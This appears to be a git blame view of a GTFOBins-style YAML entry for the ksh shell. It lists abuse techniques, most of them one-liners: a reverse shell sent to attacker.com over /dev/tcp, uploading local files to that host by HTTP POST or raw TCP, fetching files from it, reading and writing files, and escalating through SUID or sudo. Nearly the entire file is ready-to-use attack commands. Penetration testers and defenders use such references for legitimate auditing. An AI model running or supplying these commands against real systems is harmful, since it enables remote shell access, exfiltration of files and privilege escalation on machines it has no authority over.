2018-05-28 22:07:51 +02:00
|
|
|
---
|
|
|
|
functions:
|
|
|
|
execute-interactive:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: ksh
|
2018-07-04 20:26:52 +02:00
|
|
|
reverse-shell-interactive:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
|
|
|
code: |
|
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
|
|
|
ksh -c 'ksh -i > /dev/tcp/$RHOST/$RPORT 2>&1 0>&1'
|
2018-05-28 22:07:51 +02:00
|
|
|
upload:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
|
|
|
|
code: |
|
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
|
|
|
export LFILE=file_to_send
|
|
|
|
ksh -c 'echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT'
|
|
|
|
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
|
|
|
code: |
|
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
|
|
|
export LFILE=file_to_send
|
|
|
|
ksh -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
|
2018-05-28 22:07:51 +02:00
|
|
|
download:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: Fetch a remote file via HTTP GET request.
|
|
|
|
code: |
|
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
|
|
|
export LFILE=file_to_get
|
|
|
|
ksh -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
|
|
|
|
3<>/dev/tcp/$RHOST/$RPORT \
|
|
|
|
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
|
|
|
|
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
|
|
|
|
code: |
|
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
|
|
|
export LFILE=file_to_get
|
|
|
|
ksh -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
|
2018-05-28 22:07:51 +02:00
|
|
|
file-write:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
export LFILE=file_to_write
|
|
|
|
ksh -c 'echo data > $LFILE'
|
2018-07-04 20:26:52 +02:00
|
|
|
file-read:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: It trims trailing newlines.
|
|
|
|
code: |
|
|
|
|
export LFILE=file_to_read
|
|
|
|
ksh -c 'echo "$(<$LFILE)"'
|
|
|
|
- description: It trims trailing newlines.
|
|
|
|
code: |
|
|
|
|
export LFILE=file_to_read
|
|
|
|
ksh -c $'read -r -d \x04 < "$LFILE"; echo "$REPLY"'
|
2018-07-04 20:26:52 +02:00
|
|
|
suid-enabled:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: ./ksh -p
|
2018-07-04 20:26:52 +02:00
|
|
|
sudo-enabled:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: sudo ksh
|
2018-05-28 22:07:51 +02:00
|
|
|
---
|